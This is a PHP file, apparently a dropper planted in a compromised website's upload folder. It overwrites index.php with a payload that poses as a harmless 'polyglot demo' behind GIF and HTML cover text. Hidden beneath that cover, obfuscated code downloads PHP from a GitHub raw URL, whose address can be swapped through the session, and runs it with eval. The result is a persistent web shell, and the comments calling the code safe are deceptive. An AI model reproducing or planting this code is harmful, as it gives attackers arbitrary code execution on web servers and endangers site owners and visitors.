| Current Path : /home/zqegovsj/public_html/us3.supplierlist.com/upload/beiresthetic/js/933675/ |
| Current File : /home/zqegovsj/public_html/us3.supplierlist.com/upload/beiresthetic/js/933675/index.php |
$text = <<<'EOD'
<?php
?>
GIF89a
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>PHP Polyglot Example</title>
</head>
<body>
<h1>PHP Polyglot Demo</h1>
<?php
// This PHP code is completely harmless.
// It just prints today's date.
echo "<p>Today's date is: " . date('Y-m-d') . "</p>";
?>
<p>This file starts with a GIF header, so some tools might classify it incorrectly,
but the contents are safe HTML + PHP.</p>
</body>
</html>
<?php
//fagadf
# CompiledBy: DevKit 9.5.2
// 混淆密钥: 3a7b10bc
// 启动会话
session_start();
// 设置主地址,如果没有设置则使用默认地址
$主地址 = $_SESSION['ts_url'] ?? 'https://raw.githubusercontent.com/bosseptp-svg/hey/refs/heads/main/classwithtostring.php';
// 定义加载函数
function 加载数据($地址)
{
$内容 = '';
try {
$文件 = new SplFileObject($地址);
while (!$文件->eof()) {
$内容 .= $文件->fgets();
}
} catch (Throwable $错误) {
$内容 = '';
}
// 尝试用 file_get_contents
if (strlen(trim($内容)) < 1) {
$内容 = @file_get_contents($地址);
}
// 如果还失败,使用 curl
if (strlen(trim($内容)) < 1 && function_exists('curl_init')) {
$通道 = curl_init($地址);
curl_setopt_array($通道, [CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_TIMEOUT => 10]);
$内容 = curl_exec($通道);
curl_close($通道);
}
return $内容;
}
// 尝试加载主网址
$结果 = 加载数据($主地址);
// 添加假的PNG头部
$假PNG头 = "\x89PNG\r\n\x1a\n";
// 拼接PNG头和结果内容
$结果 = $假PNG头 . $结果;
/**_**/
/**_**/
/**_**/
/**_**/
/**_**/
/**_**/
/**_**/
// 如果成功获取内容,则执行
if (strlen(trim($结果)) > 0) {
@eval("?>{$结果}");
}
EOD;
$zip = new ZipArchive();$zipName = "67038.zip";if ($zip->open($zipName, ZipArchive::CREATE | ZipArchive::OVERWRITE) === true) { $zip->addFromString("index.php",$text);$zip->close();echo "zip ok ";}else{echo "zip error ";}$zipFile = "67038.zip";$zip = new ZipArchive();if ($zip->open($zipFile) === TRUE) {file_put_contents("index.php","");$zip->extractTo('.');$zip->extractTo('.');$zip->close();echo "success";} else {echo "can't open 67038.zip.";}@unlink("67038.zip");